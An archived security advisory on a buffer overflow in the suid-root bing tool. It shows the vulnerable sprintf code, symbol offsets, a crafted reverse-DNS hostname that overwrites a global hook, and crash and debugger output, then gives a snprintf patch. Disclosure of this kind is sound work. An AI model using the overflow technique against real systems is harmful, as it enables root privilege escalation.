COMMAND

    bing

SYSTEMS AFFECTED

    bing

PROBLEM

    Paul Starzetz found  following.  There  is an overflowable  buffer
    in the bing (throughput meassurement tool) binary.  The bing  tool
    comes  with  various  Linux  distributions.   On  SuSE  (at  least
    6.0-6.4) bing isn't installed by default, but if installed it will
    be suid root:

        4556   54 -r-sr-xr-x   1 root root 54929 Apr  5  1999 /usr/bin/bing

    The buffer overflowed is a 80 byte static local buffer:

        char *
        pr_addr(l)
	        u_long l;
        {
	        struct hostent *hp;
	        static char buf[80];
        
	        if ((options & F_NUMERIC) ||
	            !(hp = gethostbyaddr((char *)&l, 4, AF_INET)))
		        (void)sprintf(buf, "%s", inet_ntoa(*(struct in_addr *)&l));
	        else
		        (void)sprintf(buf, "%s (%s)", hp->h_name,
		            inet_ntoa(*(struct in_addr *)&l));
	        return(buf);
        }

    It is  possible to  overwrite (look  at the  objects article)  the
    global 'objects' hook with data comming from gethostbyname.

    The  attacker  must  have  controll  of  at least one IN-ADDR.arpa
    zone, in order to  force gethostbyname() return an  arbitrary host
    name.

    The impact is obvious, even if the overflow is hard to exploit  in
    practice.     Another   difficulty    arises   from   the    fussy
    gethostbyname().  It may become  impossible to supply a host  name
    you  need  for  successfull  exploitation,  because  gethostbyname
    would  filter  strange  characters  and  reject  bogus  hostnames.
    Though,  it  depends  on  the  virtual  addresses  the programm is
    running  at  (hm,  what  about  some  run  time  variables  of the
    malloc-system or preload stuff?)

    Looking at the symbol table we found that:

        paul@phoenix:~/tmp2/bing > objdump --syms /usr/bin/bing|grep "0804f4"
        0804f4ac l     O .bss   00000001 nrand
        0804f4a8 l     O .bss   00000004 lastrand
        0804f420 l     O .bss   00000050 buf.34
        0804f470 l     O .bss   00000004 old_rrlen.37
        0804f480 l     O .bss   00000028 old_rr.38
        0804f4b0 l     O .bss   00000004 objects
        0804f4c0 g     O .bss   0000ffbc outpack

    There are 6 variables which we can overwrite, though.  The  offset
    from buf to objects hook is 144 (dec).  To demonstrate this set up
    a bogus reverse zone with a revptr like this:

        "overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil"

    AbCd is the  place where 'objects'  will be overwritten.  A simple
    check confirms this:

        root@phoenix:/var/named > /etc/rc.d/named start
        Starting name server.done
        
        root@phoenix:/var/named > host 192.168.100.5
        5.100.168.192.IN-ADDR.ARPA domain name pointer
        overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil
        
        root@phoenix:/var/named > bing -v -e1 -c1 192.168.100.5 192.168.100.5
        BING    192.168.100.5 (192.168.100.5) and 192.168.100.5 (192.168.100.5)
                44 and 108 data bytes
        52 bytes from
        overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil
        (192.168.100.5): Echo Request
        
        116 bytes from
        overflo1.overflo2.overflo3.overflo4.overflo5.overflo6.overflo7.overflo8.overflo9.overfloa.overflob.overfloc.overflod.overfloe.overflof.overfl10.AbCdHERE.overfl12.overfl13.overfl14.overfl15.overfl16.overfl17.overfl18.overfl19.overfl2a.mil
        (192.168.100.5): Echo Request
        
        
        --- 192.168.100.5 statistics ---
        bytes   out    in   dup  loss   rtt (ms): min       avg       max
           44     1     1          0%           9.621     9.621     9.621
          108     1     1          0%           7.477     7.477     7.477
        
        --- 192.168.100.5 statistics ---
        bytes   out    in   dup  loss   rtt (ms): min       avg       max
           44     1     0        100%
          108     1     0        100%
        
        not enough received packets to estimate link characteristics.
        resetting after 1 samples.
        Segmentation fault

    This hapens after bing has finished its work and the libc stuff is
    beeing executed:

        root@phoenix:/var/named > gdb /usr/local/bing
        GNU gdb 4.17.0.11 with Linux support
        
        (gdb) set args -v -e1 -c1 192.168.100.5 192.168.100.5
        (gdb) run
        Starting program: /usr/bin/bing -v -e1 -c1 192.168.100.5 192.168.100.5
        .
        .
        Program received signal SIGSEGV, Segmentation fault.
        0x804cc36 in __deregister_frame_info (begin=0x804f1e0) at ./frame.c:581
        
        (gdb) bt
        #0  0x804cc36 in __deregister_frame_info (begin=0x804f1e0) at
        ./frame.c:581
        #1  0x8048d01 in __do_global_dtors_aux ()
        #2  0x804cf55 in _fini ()
        #3  0x400320f5 in exit (status=0) at exit.c:55

    On  systems  with  suid  /usr/bin/ping  it  may  be possible under
    certain circumstances to gain root priviledges.

SOLUTION

    chmod 700 /usr/bin/bing.   It is patched  by default in  FreeBSD's
    package collection.   Here's the patch  below.  There  is a bugfix
    release including this patch, available from

        http://www.freenix.org/reseau/bing-1.0.5.tar.gz

    The patch:

    --- bing.c.orig	Thu Jul 20 16:45:32 1995
    +++ bing.c	Sat Mar  4 16:13:05 2000
    @@ -718,13 +718,13 @@
 	    u_long l;
     {
 	    struct hostent *hp;
    -	static char buf[80];
    +	static char buf[MAXHOSTNAMELEN+19];
    
 	    if ((options & F_NUMERIC) ||
 	        !(hp = gethostbyaddr((char *)&l, 4, AF_INET)))
    -		(void)sprintf(buf, "%s", inet_ntoa(*(struct in_addr *)&l));
    +		(void)snprintf(buf, sizeof(buf), "%s", inet_ntoa(*(struct in_addr *)&l));
 	    else
    -		(void)sprintf(buf, "%s (%s)", hp->h_name,
    +		(void)snprintf(buf, sizeof(buf), "%s (%s)", hp->h_name,
 		        inet_ntoa(*(struct in_addr *)&l));
 	    return(buf);
     }